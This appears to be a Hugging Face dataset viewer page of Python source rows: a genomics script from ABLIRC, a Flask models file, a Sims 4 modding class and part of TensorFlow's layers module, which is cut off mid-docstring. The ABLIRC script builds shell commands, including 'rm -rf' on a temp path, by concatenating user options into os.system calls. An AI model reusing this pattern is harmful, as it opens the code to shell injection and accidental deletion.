fumiyau/python_comments_free_500000 · Datasets at Hugging Face

f704f458109bda2f6012d3166ddc6ff6686bf0f4

12,306

py

Python

ABLIRC/bin/Basic/Distance2XXX/reads_or_peaks_distribution_relative2xxx.py

ablifedev/ABLIRC

875278b748a8e22ada2c76c3c76dbf970be4a6a4

[ "MIT" ]

1

2020-02-25T13:08:20.000Z

ABLIRC/bin/Basic/Distance2XXX/reads_or_peaks_distribution_relative2xxx.py

ablifedev/ABLIRC

875278b748a8e22ada2c76c3c76dbf970be4a6a4

[ "MIT" ]

1

2020-02-25T13:16:03.000Z

ABLIRC/bin/Basic/Distance2XXX/reads_or_peaks_distribution_relative2xxx.py

ablifedev/ABLIRC

875278b748a8e22ada2c76c3c76dbf970be4a6a4

[ "MIT" ]

null

#!/usr/bin/env python2.7 # -*- coding: utf-8 -*- #################################################################################### ### Copyright (C) 2015-2019 by ABLIFE #################################################################################### #################################################################################### #################################################################################### # Date Version Author ChangeLog # # # ##################################################################################### """ 程序功能说明： 1.统计reads or peaks 相对于TTS,TSS,STARTCODON,STOPCODON的分布程序设计思路：利用gffutils和HTSeq包进行统计 """ import re, os, sys, logging, time, datetime from optparse import OptionParser, OptionGroup reload(sys) sys.setdefaultencoding('utf-8') import subprocess import threading import gffutils import HTSeq import numpy import multiprocessing from matplotlib import pyplot sys.path.insert(1, os.path.split(os.path.realpath(__file__))[0] + "/../../") from ablib.utils.tools import * from ablib.utils.distribution import * if sys.version_info < (2, 7): print("Python Version error: please use phthon2.7") sys.exit(-1) _version = 'v0.1' # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- def configOpt(): """Init for option """ usage = 'Usage: %prog [option] [-h]' p = OptionParser(usage) ##basic options p.add_option( '-g', '--gff', dest='gff', action='store', type='string', help='gff file,do not have to provide it if db is exited') p.add_option( '-d', '--db', dest='db', default='gffdb', action='store', type='string', help='the gff database file to create or use') p.add_option( '-b', '--bamorbed', dest='bamorbed', action='store', type='string', help='bam or bed file, Important: the bamfile\'s suffix must be ".bam"') p.add_option( '-w', '--halfwinwidth', dest='halfwinwidth', default=1000, action='store', type='int', help='halfwinwidth,default is 1000') p.add_option( '-p', '--postype', dest='postype', action='store', type='string', help='gene position type:tss,tts,startcodon,stopcodon,intronstart,intronend') p.add_option( '-o', '--outfile', dest='outfile', default="distance2xxx_reads_density.txt", action='store', type='string', help='gene expression file') p.add_option( '-n', '--samplename', dest='samplename', default='', action='store', type='string', help='sample name,default is ""') group = OptionGroup(p, "Preset options") ##preset options group.add_option( '-O', '--outDir', dest='outDir', default='./', action='store', type='string', help='output directory', metavar="DIR") group.add_option( '-L', '--logDir', dest='logDir', default='', action='store', type='string', help='log dir ,default is same as outDir') group.add_option( '-P', '--logPrefix', dest='logPrefix', default='', action='store', type='string', help='log file prefix') group.add_option( '-E', '--email', dest='email', default='none', action='store', type='string', help='email address, if you want get a email when this job is finished,default is no email', metavar="EMAIL") group.add_option( '-Q', '--quiet', dest='quiet', default=True, action='store_true', help='do not print messages to stdout') group.add_option( '-K', '--keepTemp', dest='keepTemp', default=False, action='store_true', help='keep temp dir') group.add_option( '-T', '--test', dest='isTest', default=False, action='store_true', help='run this program for test') p.add_option_group(group) if len(sys.argv) == 1: p.print_help() sys.exit(1) opt, args = p.parse_args() return (p, opt, args) def listToString(x): """获得完整的命令 """ rVal = '' for a in x: rVal += a + ' ' return rVal opt_parser, opt, args = configOpt() if not opt.postype: opt_parser.error('Option -p must be assigned.\n') if opt.logDir == "": opt.logDir = opt.outDir + '/log/' sample = "" if opt.samplename != "": sample = opt.samplename + '_' if opt.outfile == 'distance2xxx_reads_density.txt': opt.outfile = sample + 'distance2' + opt.postype + '_reads_density.txt' intype = "bam" match = re.search(r'\.bam$', opt.bamorbed) if not match: intype = "bed" # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- scriptPath = os.path.abspath(os.path.dirname(__file__)) # absolute script path binPath = "/".join(scriptPath.split("/")[0:-2]) # absolute bin path outPath = os.path.abspath(opt.outDir) # absolute output path #os.mkdir(outPath) if not os.path.isdir(outPath) else None os.system('mkdir -p ' + outPath) logPath = os.path.abspath(opt.logDir) #os.mkdir(logPath) if not os.path.isdir(logPath) else None os.system('mkdir -p ' + logPath) tempPath = outPath + '/temp/' # absolute bin path # os.mkdir(tempPath) if not os.path.isdir(tempPath) else None resultPath = outPath + '/result/' # os.mkdir(resultPath) if not os.path.isdir(resultPath) else None # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- def initLogging(logFilename): """Init for logging """ logging.basicConfig( level=logging.DEBUG, format='[%(asctime)s : %(levelname)s] %(message)s', datefmt='%y-%m-%d %H:%M', filename=logFilename, filemode='w') if not opt.quiet: # define a Handler which writes INFO messages or higher to the sys.stderr console = logging.StreamHandler() console.setLevel(logging.INFO) # set a format which is simpler for console use formatter = logging.Formatter('[%(asctime)s : %(levelname)s] %(message)s', datefmt='%y-%m-%d %H:%M') # tell the handler to use this format console.setFormatter(formatter) logging.getLogger('').addHandler(console) dt = datetime.datetime.now() logFile = logPath + '/' + opt.logPrefix + 'log.' + str(dt.strftime('%Y%m%d.%H%M%S.%f')) + '.txt' initLogging(logFile) logging.debug(sys.modules[__name__].__doc__) # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- logging.debug('Program version: %s' % _version) logging.debug('Start the program with [%s]\n', listToString(sys.argv)) startTime = datetime.datetime.now() logging.debug("计时器：Program start at %s" % startTime) # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- ### S # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- ### E # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- def main(): print("Main procedure start...") if opt.gff: db = gffutils.create_db(opt.gff, opt.db, merge_strategy="create_unique", verbose=False, force=True) db = gffutils.FeatureDB(opt.db) Watcher() pool = multiprocessing.Pool(processes=15) server = multiprocessing.Manager() dis = server.dict() for chr in db.seqids(): # if chr != "chr1": # continue if intype == "bam": chr_dict = readBamHeader(opt.bamorbed) if not chr in chr_dict: continue # print(chr) dis[chr] = [0 for x in range(2 * opt.halfwinwidth)] pool.apply_async(distributionToOnePointByChr, args=(chr, opt.bamorbed, opt.db, opt.outfile, opt.postype, opt.halfwinwidth, dis)) pool.close() pool.join() d = dict(dis).copy() server.shutdown() profile = numpy.zeros(2 * opt.halfwinwidth, dtype='i') for chr in sorted(d.keys()): wincvg = numpy.fromiter(d[chr], dtype='i', count=2 * opt.halfwinwidth) profile += wincvg # pyplot.plot( numpy.arange( -opt.halfwinwidth, opt.halfwinwidth ), profile ) # pyplot.show() os.chdir(opt.outDir) fout = open(opt.outfile, 'w') fout.writelines( "+distance\tdensity\n") n = 0 for i in range(-opt.halfwinwidth, opt.halfwinwidth): fout.writelines(str(i) + '\t' + str(profile[n]) + '\n') n += 1 fout.close() #cmd = "cd " + outPath + "&& R --slave < /users/ablife/ablife-R/Line_single_ggplot2.r --args " + opt.outfile + " " + sample + 'distance2' + opt.postype + '_reads_density ./ \n' cmd = "cd " + outPath + "&& Rscript " + binPath + "/plot/Line_single_ggplot2.r -f " + opt.outfile + " -t " + sample + 'distance2' + opt.postype + '_reads_density -n ' + sample + 'distance2' + opt.postype + '_reads_density -o ./' os.system(cmd) if __name__ == '__main__': main() # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- if not opt.keepTemp: os.system('rm -rf ' + tempPath) logging.debug("Temp folder is deleted..") # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- logging.debug("Program ended") currentTime = datetime.datetime.now() runningTime = (currentTime - startTime).seconds # in seconds logging.debug("计时器：Program start at %s" % startTime) logging.debug("计时器：Program end at %s" % currentTime) logging.debug("计时器：Program ran %.2d:%.2d:%.2d" % (runningTime / 3600, (runningTime % 3600) / 60, runningTime % 60)) # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- # ----------------------------------------------------------------------------------- if opt.email != "none": run_cmd = listToString(sys.argv) sendEmail(opt.email, str(startTime), str(currentTime), run_cmd, outPath) logging.info("发送邮件通知到 %s" % opt.email) # ----------------------------------------------------------------------------------- # -----------------------------------------------------------------------------------

33.715068

232

0.42719

true

f704f4cd9c7fb1284f93ea1a887f87bdb1ce825e

408

py

Python

backend/api/models/__init__.py

Leundai/twanalyze

bfccd9de43fae78e1cbdc0a6695f1cf827a3282b

[ "Apache-2.0" ]

4

2020-10-06T17:15:32.000Z

2021-06-04T06:07:44.000Z

backend/api/models/__init__.py

Leundai/twanalyze

bfccd9de43fae78e1cbdc0a6695f1cf827a3282b

[ "Apache-2.0" ]

10

2020-10-06T18:23:43.000Z

2020-10-12T00:26:05.000Z

backend/api/models/__init__.py

Leundai/twanalyze

bfccd9de43fae78e1cbdc0a6695f1cf827a3282b

[ "Apache-2.0" ]

null

# this file structure follows http://flask.pocoo.org/docs/1.0/patterns/appfactories/ # initializing db in api.models.base instead of in api.__init__.py # to prevent circular dependencies from .base import db from .Email import Email from .Person import Person from .VideoInfo import VideoInfo __all__ = ["db", "Email", "Person", "VideoInfo"] # You must import all of the new Models you create to this page

34

84

0.767157

from .base import db from .Email import Email from .Person import Person from .VideoInfo import VideoInfo __all__ = ["db", "Email", "Person", "VideoInfo"]

true

f704f52a0332da8f345d14dd4fef2d97a4463857

4,181

py

Python

Scripts/sims4communitylib/classes/interactions/common_interaction_override_name.py

ColonolNutty/Sims4CommunityLibrary

684f28dc3c7deb4d9fd520e21e63942b65a91d31

[ "CC-BY-4.0" ]

118

2019-08-31T04:33:18.000Z

2022-03-28T21:12:14.000Z

Scripts/sims4communitylib/classes/interactions/common_interaction_override_name.py

ColonolNutty/Sims4CommunityLibrary

684f28dc3c7deb4d9fd520e21e63942b65a91d31

[ "CC-BY-4.0" ]

15

2019-12-05T01:29:46.000Z

2022-02-18T17:13:46.000Z

Scripts/sims4communitylib/classes/interactions/common_interaction_override_name.py

ColonolNutty/Sims4CommunityLibrary

684f28dc3c7deb4d9fd520e21e63942b65a91d31

[ "CC-BY-4.0" ]

28

2019-09-07T04:11:05.000Z

2022-02-07T18:31:40.000Z

""" The Sims 4 Community Library is licensed under the Creative Commons Attribution 4.0 International public license (CC BY 4.0). https://creativecommons.org/licenses/by/4.0/ https://creativecommons.org/licenses/by/4.0/legalcode Copyright (c) COLONOLNUTTY """ from typing import Any, Union from interactions.base.interaction import Interaction from interactions.context import InteractionContext from protocolbuffers.Localization_pb2 import LocalizedString from sims.sim import Sim from sims4.utils import flexmethod from sims4communitylib.logging.has_class_log import HasClassLog from sims4communitylib.mod_support.mod_identity import CommonModIdentity class CommonInteractionOverrideName(HasClassLog): """CommonInteractionOverrideName() An inheritable class that provides a way to override the :func:`~get_name` function of :class:`.CommonInteraction`. .. warning:: This class is to be used in conjunction with :class:`.CommonInteraction`. Inheriting from this class will do nothing for class that does not also inherit from :class:`.CommonInteraction`. """ # noinspection PyMissingOrEmptyDocstring @classmethod def get_mod_identity(cls) -> Union[CommonModIdentity, None]: return None def __init__(self) -> None: super().__init__() HasClassLog.__init__(self) # noinspection PyMethodParameters,PyMissingOrEmptyDocstring @flexmethod def get_name(cls, inst: Interaction, target: Any=None, context: InteractionContext=None, **interaction_parameters) -> Union[LocalizedString, None]: inst_or_cls = inst or cls try: context_inst_or_cls = context or inst_or_cls interaction_sim = context_inst_or_cls.sim interaction_target = target or context_inst_or_cls.target cls.get_verbose_log().format_with_message( 'Creating display name.', class_name=cls.__name__, interaction_sim=interaction_sim, interaction_target=interaction_target, interaction=inst, interaction_context=context ) override_name = cls._create_display_name( interaction_sim, interaction_target, interaction=inst, interaction_context=context, **interaction_parameters ) if override_name is not None: return override_name except Exception as ex: cls.get_log().error('An error occurred while running get_name of interaction {}'.format(cls.__name__), exception=ex) return super(Interaction, inst_or_cls).get_name(target=target, context=context, **interaction_parameters) # noinspection PyUnusedLocal @classmethod def _create_display_name(cls, interaction_sim: Sim, interaction_target: Any, interaction: Union[Interaction, None]=None, interaction_context: Union[InteractionContext, None]=None, **interaction_parameters) -> Union[LocalizedString, None]: """_create_display_name(interaction_sim, interaction_target, interaction=None, interaction_context=None, **interaction_parameters) A hook that allows using a custom display name for an Interaction. :param interaction_sim: The source Sim of the interaction. :type interaction_sim: Sim :param interaction_target: The target Object of the interaction. :type interaction_target: Any :param interaction: An instance of an interaction or None if no instance of the interaction is available. Default is None. :type interaction: Union[Interaction, None], optional :param interaction_context: The context of the interaction or None if no interaction context is available. Default is None. :type interaction_context: Union[InteractionContext, None], optional :param interaction_parameters: Extra interaction parameters. :type interaction_parameters: Any :return: A Localized String to display for the interaction or None if the original display name should be used. :rtype: Union[LocalizedString, None] """ raise NotImplementedError()

48.057471

242

0.717771

from typing import Any, Union from interactions.base.interaction import Interaction from interactions.context import InteractionContext from protocolbuffers.Localization_pb2 import LocalizedString from sims.sim import Sim from sims4.utils import flexmethod from sims4communitylib.logging.has_class_log import HasClassLog from sims4communitylib.mod_support.mod_identity import CommonModIdentity class CommonInteractionOverrideName(HasClassLog): @classmethod def get_mod_identity(cls) -> Union[CommonModIdentity, None]: return None def __init__(self) -> None: super().__init__() HasClassLog.__init__(self) @flexmethod def get_name(cls, inst: Interaction, target: Any=None, context: InteractionContext=None, **interaction_parameters) -> Union[LocalizedString, None]: inst_or_cls = inst or cls try: context_inst_or_cls = context or inst_or_cls interaction_sim = context_inst_or_cls.sim interaction_target = target or context_inst_or_cls.target cls.get_verbose_log().format_with_message( 'Creating display name.', class_name=cls.__name__, interaction_sim=interaction_sim, interaction_target=interaction_target, interaction=inst, interaction_context=context ) override_name = cls._create_display_name( interaction_sim, interaction_target, interaction=inst, interaction_context=context, **interaction_parameters ) if override_name is not None: return override_name except Exception as ex: cls.get_log().error('An error occurred while running get_name of interaction {}'.format(cls.__name__), exception=ex) return super(Interaction, inst_or_cls).get_name(target=target, context=context, **interaction_parameters) @classmethod def _create_display_name(cls, interaction_sim: Sim, interaction_target: Any, interaction: Union[Interaction, None]=None, interaction_context: Union[InteractionContext, None]=None, **interaction_parameters) -> Union[LocalizedString, None]: raise NotImplementedError()

true

f704f5d9631a52161bb607794d67acaf0b67e1cb

129,671

py

Python

tensorflow/contrib/layers/python/layers/layers.py

drothlis/tensorflow

04c318b69c5b565436cfeeaab1cb7fd5419dde27

[ "Apache-2.0" ]

1

2017-09-08T04:32:21.000Z

tensorflow/contrib/layers/python/layers/layers.py

drothlis/tensorflow

04c318b69c5b565436cfeeaab1cb7fd5419dde27

[ "Apache-2.0" ]

null

tensorflow/contrib/layers/python/layers/layers.py

drothlis/tensorflow

04c318b69c5b565436cfeeaab1cb7fd5419dde27

[ "Apache-2.0" ]

1

2017-09-12T19:41:26.000Z

# -*- coding: utf-8 -*- # Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== # pylint: disable=g-short-docstring-punctuation """Higher level ops for building layers.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import functools import os import six from tensorflow.contrib.framework.python.ops import add_arg_scope from tensorflow.contrib.framework.python.ops import variables from tensorflow.contrib.layers.python.layers import initializers from tensorflow.contrib.layers.python.layers import utils from tensorflow.python.framework import dtypes from tensorflow.python.framework import function from tensorflow.python.framework import ops from tensorflow.python.framework import sparse_tensor from tensorflow.python.framework import tensor_shape from tensorflow.python.layers import base from tensorflow.python.layers import convolutional as convolutional_layers from tensorflow.python.layers import core as core_layers from tensorflow.python.layers import normalization as normalization_layers from tensorflow.python.layers import pooling as pooling_layers from tensorflow.python.ops import array_ops from tensorflow.python.ops import check_ops from tensorflow.python.ops import init_ops from tensorflow.python.ops import linalg_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import nn from tensorflow.python.ops import sparse_ops from tensorflow.python.ops import standard_ops from tensorflow.python.ops import variable_scope from tensorflow.python.ops import variables as tf_variables from tensorflow.python.training import moving_averages from tensorflow.python.layers.maxout import maxout # TODO(b/28426988): Replace legacy_* fns migrated from slim. # TODO(b/28426988): Remove legacy_* when all uses have migrated to new API. __all__ = ['avg_pool2d', 'avg_pool3d', 'batch_norm', 'bias_add', 'conv2d', 'conv3d', 'conv2d_in_plane', 'conv2d_transpose', 'conv3d_transpose', 'convolution', 'convolution2d', 'convolution2d_in_plane', 'convolution2d_transpose', 'convolution3d', 'convolution3d_transpose', 'dropout', 'elu', 'flatten', 'fully_connected', 'GDN', 'gdn', 'layer_norm', 'linear', 'pool', 'max_pool2d', 'max_pool3d', 'one_hot_encoding', 'relu', 'relu6', 'repeat', 'scale_gradient', 'separable_conv2d', 'separable_convolution2d', 'softmax', 'spatial_softmax', 'stack', 'unit_norm', 'legacy_fully_connected', 'legacy_linear', 'legacy_relu', 'maxout'] DATA_FORMAT_NCHW = 'NCHW' DATA_FORMAT_NHWC = 'NHWC' DATA_FORMAT_NCDHW = 'NCDHW' DATA_FORMAT_NDHWC = 'NDHWC' _FUSED_DEFAULT = os.getenv('TF_DEFAULT_USES_FUSED_BATCH_NORM', '').lower() in ('true', 't', '1') @add_arg_scope def avg_pool2d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NHWC, outputs_collections=None, scope=None): """Adds a 2D average pooling op. It is assumed that the pooling is done per image but not in batch or channels. Args: inputs: A 4-D tensor of shape `[batch_size, height, width, channels]` if `data_format` is `NHWC`, and `[batch_size, channels, height, width]` if `data_format` is `NCHW`. kernel_size: A list of length 2: [kernel_height, kernel_width] of the pooling kernel over which the op is computed. Can be an int if both values are the same. stride: A list of length 2: [stride_height, stride_width]. Can be an int if both strides are the same. Note that presently both strides must have the same value. padding: The padding method, either 'VALID' or 'SAME'. data_format: A string. `NHWC` (default) and `NCHW` are supported. outputs_collections: The collections to which the outputs are added. scope: Optional scope for name_scope. Returns: A `Tensor` representing the results of the pooling operation. Raises: ValueError: If `data_format` is neither `NHWC` nor `NCHW`. """ if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with ops.name_scope(scope, 'AvgPool2D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.AveragePooling2D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) @add_arg_scope def avg_pool3d(inputs, kernel_size, stride=2, padding='VALID', data_format=DATA_FORMAT_NDHWC, outputs_collections=None, scope=None): """Adds a 3D average pooling op. It is assumed that the pooling is done per image but not in batch or channels. Args: inputs: A 5-D tensor of shape `[batch_size, depth, height, width, channels]` if `data_format` is `NDHWC`, and `[batch_size, channels, depth, height, width]` if `data_format` is `NCDHW`. kernel_size: A list of length 3: [kernel_depth, kernel_height, kernel_width] of the pooling kernel over which the op is computed. Can be an int if both values are the same. stride: A list of length 3: [stride_depth, stride_height, stride_width]. Can be an int if both strides are the same. Note that presently both strides must have the same value. padding: The padding method, either 'VALID' or 'SAME'. data_format: A string. `NDHWC` (default) and `NCDHW` are supported. outputs_collections: The collections to which the outputs are added. scope: Optional scope for name_scope. Returns: A `Tensor` representing the results of the pooling operation. Raises: ValueError: If `data_format` is neither `NDHWC` nor `NCDHW`. """ if data_format not in (DATA_FORMAT_NCDHW, DATA_FORMAT_NDHWC): raise ValueError('data_format has to be either NCDHW or NDHWC.') with ops.name_scope(scope, 'AvgPool3D', [inputs]) as sc: inputs = ops.convert_to_tensor(inputs) df = ('channels_first' if data_format and data_format.startswith('NC') else 'channels_last') layer = pooling_layers.AveragePooling3D(pool_size=kernel_size, strides=stride, padding=padding, data_format=df, _scope=sc) outputs = layer.apply(inputs) return utils.collect_named_outputs(outputs_collections, sc, outputs) def _fused_batch_norm( inputs, decay=0.999, center=True, scale=False, epsilon=0.001, activation_fn=None, param_initializers=None, updates_collections=ops.GraphKeys.UPDATE_OPS, is_training=True, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, data_format=DATA_FORMAT_NHWC, zero_debias_moving_mean=False, scope=None): """Adds a Batch Normalization layer from http://arxiv.org/abs/1502.03167. "Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift" Sergey Ioffe, Christian Szegedy Can be used as a normalizer function for conv2d and fully_connected. Note: when training, the moving_mean and moving_variance need to be updated. By default the update ops are placed in `tf.GraphKeys.UPDATE_OPS`, so they need to be added as a dependency to the `train_op`. For example: ```python update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(update_ops): train_op = optimizer.minimize(loss) ``` One can set updates_collections=None to force the updates in place, but that can have a speed penalty, especially in distributed settings. Args: inputs: A tensor with 2 or more dimensions, where the first dimension has `batch_size`. The normalization is over all but the last dimension if `data_format` is `NHWC` and the second dimension if `data_format` is `NCHW`. decay: Decay for the moving average. Reasonable values for `decay` are close to 1.0, typically in the multiple-nines range: 0.999, 0.99, 0.9, etc. Lower `decay` value (recommend trying `decay`=0.9) if model experiences reasonably good training performance but poor validation and/or test performance. center: If True, add offset of `beta` to normalized tensor. If False, `beta` is ignored. scale: If True, multiply by `gamma`. If False, `gamma` is not used. When the next layer is linear (also e.g. `nn.relu`), this can be disabled since the scaling can be done by the next layer. epsilon: Small float added to variance to avoid dividing by zero. activation_fn: Activation function, default set to None to skip it and maintain a linear activation. param_initializers: Optional initializers for beta, gamma, moving mean and moving variance. updates_collections: Collections to collect the update ops for computation. The updates_ops need to be executed with the train_op. If None, a control dependency would be added to make sure the updates are computed in place. is_training: Whether or not the layer is in training mode. In training mode it would accumulate the statistics of the moments into `moving_mean` and `moving_variance` using an exponential moving average with the given `decay`. When it is not in training mode then it would use the values of the `moving_mean` and the `moving_variance`. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional collections for the variables. outputs_collections: Collections to add the outputs. trainable: If `True` also add variables to the graph collection `GraphKeys.TRAINABLE_VARIABLES` (see `tf.Variable`). data_format: A string. `NHWC` (default) and `NCHW` are supported. zero_debias_moving_mean: Use zero_debias for moving_mean. scope: Optional scope for `variable_scope`. Returns: A `Tensor` representing the output of the operation. Raises: ValueError: If `data_format` is neither `NHWC` nor `NCHW`. ValueError: If the rank of `inputs` is undefined. ValueError: If the rank of `inputs` is neither 2 or 4. ValueError: If rank or `C` dimension of `inputs` is undefined. """ if data_format not in (DATA_FORMAT_NCHW, DATA_FORMAT_NHWC): raise ValueError('data_format has to be either NCHW or NHWC.') with variable_scope.variable_scope( scope, 'BatchNorm', [inputs], reuse=reuse) as sc: inputs = ops.convert_to_tensor(inputs) original_shape = inputs.get_shape() original_inputs = inputs original_rank = original_shape.ndims if original_rank is None: raise ValueError('Inputs %s has undefined rank' % inputs.name) elif original_rank not in [2, 4]: raise ValueError('Inputs %s has unsupported rank.' ' Expected 2 or 4 but got %d' % ( inputs.name, original_rank)) if original_rank == 2: channels = inputs.get_shape()[-1].value if channels is None: raise ValueError('`C` dimension must be known but is None') new_shape = [-1, 1, 1, channels] if data_format == DATA_FORMAT_NCHW: new_shape = [-1, channels, 1, 1] inputs = array_ops.reshape(inputs, new_shape) inputs_shape = inputs.get_shape() dtype = inputs.dtype.base_dtype if data_format == DATA_FORMAT_NHWC: params_shape = inputs_shape[-1:] else: params_shape = inputs_shape[1:2] if not params_shape.is_fully_defined(): raise ValueError('Inputs %s has undefined `C` dimension %s.' % (inputs.name, params_shape)) # Allocate parameters for the beta and gamma of the normalization. trainable_beta = trainable and center beta_collections = utils.get_variable_collections(variables_collections, 'beta') if not param_initializers: param_initializers = {} if center: beta_initializer = param_initializers.get('beta', init_ops.zeros_initializer()) beta = variables.model_variable( 'beta', shape=params_shape, dtype=dtype, initializer=beta_initializer, collections=beta_collections, trainable=trainable_beta) else: beta = array_ops.constant(0.0, shape=params_shape) if scale: gamma_collections = utils.get_variable_collections( variables_collections, 'gamma') gamma_initializer = param_initializers.get('gamma', init_ops.ones_initializer()) gamma = variables.model_variable( 'gamma', shape=params_shape, dtype=dtype, initializer=gamma_initializer, collections=gamma_collections, trainable=trainable) else: gamma = array_ops.constant(1.0, shape=params_shape) # Create moving_mean and moving_variance variables and add them to the # appropriate collections. moving_mean_collections = utils.get_variable_collections( variables_collections, 'moving_mean') moving_mean_initializer = param_initializers.get( 'moving_mean', init_ops.zeros_initializer()) moving_mean = variables.model_variable( 'moving_mean', shape=params_shape, dtype=dtype, initializer=moving_mean_initializer, trainable=False, collections=moving_mean_collections) moving_variance_collections = utils.get_variable_collections( variables_collections, 'moving_variance') moving_variance_initializer = param_initializers.get( 'moving_variance', init_ops.ones_initializer()) moving_variance = variables.model_variable( 'moving_variance', shape=params_shape, dtype=dtype, initializer=moving_variance_initializer, trainable=False, collections=moving_variance_collections) def _fused_batch_norm_training(): return nn.fused_batch_norm( inputs, gamma, beta, epsilon=epsilon, data_format=data_format) def _fused_batch_norm_inference(): return nn.fused_batch_norm( inputs, gamma, beta, mean=moving_mean, variance=moving_variance, epsilon=epsilon, is_training=False, data_format=data_format) outputs, mean, variance = utils.smart_cond(is_training, _fused_batch_norm_training, _fused_batch_norm_inference) # If `is_training` doesn't have a constant value, because it is a `Tensor`, # a `Variable` or `Placeholder` then is_training_value will be None and # `need_updates` will be true. is_training_value = utils.constant_value(is_training) need_updates = is_training_value is None or is_training_value if need_updates: if updates_collections is None: no_updates = lambda: outputs def _force_updates(): """Internal function forces updates moving_vars if is_training.""" update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) with ops.control_dependencies( [update_moving_mean, update_moving_variance]): return array_ops.identity(outputs) outputs = utils.smart_cond(is_training, _force_updates, no_updates) else: moving_vars_fn = lambda: (moving_mean, moving_variance) def _delay_updates(): """Internal function that delay updates moving_vars if is_training.""" update_moving_mean = moving_averages.assign_moving_average( moving_mean, mean, decay, zero_debias=zero_debias_moving_mean) update_moving_variance = moving_averages.assign_moving_average( moving_variance, variance, decay, zero_debias=False) return update_moving_mean, update_moving_variance update_mean, update_variance = utils.smart_cond(is_training, _delay_updates, moving_vars_fn) ops.add_to_collections(updates_collections, update_mean) ops.add_to_collections(updates_collections, update_variance) outputs.set_shape(inputs_shape) if original_shape.ndims == 2: outputs = array_ops.reshape(outputs, array_ops.shape(original_inputs)) if activation_fn is not None: outputs = activation_fn(outputs) return utils.collect_named_outputs(outputs_collections, sc.original_name_scope, outputs) @add_arg_scope def batch_norm(inputs, decay=0.999, center=True, scale=False, epsilon=0.001, activation_fn=None, param_initializers=None, param_regularizers=None, updates_collections=ops.GraphKeys.UPDATE_OPS, is_training=True, reuse=None, variables_collections=None, outputs_collections=None, trainable=True, batch_weights=None, fused=None, data_format=DATA_FORMAT_NHWC, zero_debias_moving_mean=False, scope=None, renorm=False, renorm_clipping=None, renorm_decay=0.99): """Adds a Batch Normalization layer from http://arxiv.org/abs/1502.03167. "Batch Normalization: Accelerating Deep Network Training by Reducing Internal Covariate Shift" Sergey Ioffe, Christian Szegedy Can be used as a normalizer function for conv2d and fully_connected. Note: when training, the moving_mean and moving_variance need to be updated. By default the update ops are placed in `tf.GraphKeys.UPDATE_OPS`, so they need to be added as a dependency to the `train_op`. For example: ```python update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS) with tf.control_dependencies(update_ops): train_op = optimizer.minimize(loss) ``` One can set updates_collections=None to force the updates in place, but that can have a speed penalty, especially in distributed settings. Args: inputs: A tensor with 2 or more dimensions, where the first dimension has `batch_size`. The normalization is over all but the last dimension if `data_format` is `NHWC` and the second dimension if `data_format` is `NCHW`. decay: Decay for the moving average. Reasonable values for `decay` are close to 1.0, typically in the multiple-nines range: 0.999, 0.99, 0.9, etc. Lower `decay` value (recommend trying `decay`=0.9) if model experiences reasonably good training performance but poor validation and/or test performance. Try zero_debias_moving_mean=True for improved stability. center: If True, add offset of `beta` to normalized tensor. If False, `beta` is ignored. scale: If True, multiply by `gamma`. If False, `gamma` is not used. When the next layer is linear (also e.g. `nn.relu`), this can be disabled since the scaling can be done by the next layer. epsilon: Small float added to variance to avoid dividing by zero. activation_fn: Activation function, default set to None to skip it and maintain a linear activation. param_initializers: Optional initializers for beta, gamma, moving mean and moving variance. param_regularizers: Optional regularizer for beta and gamma. updates_collections: Collections to collect the update ops for computation. The updates_ops need to be executed with the train_op. If None, a control dependency would be added to make sure the updates are computed in place. is_training: Whether or not the layer is in training mode. In training mode it would accumulate the statistics of the moments into `moving_mean` and `moving_variance` using an exponential moving average with the given `decay`. When it is not in training mode then it would use the values of the `moving_mean` and the `moving_variance`. reuse: Whether or not the layer and its variables should be reused. To be able to reuse the layer scope must be given. variables_collections: Optional collections for the variables. outputs_collections: Collections to add the outputs. trainable: If `True` also add variables to the graph collection 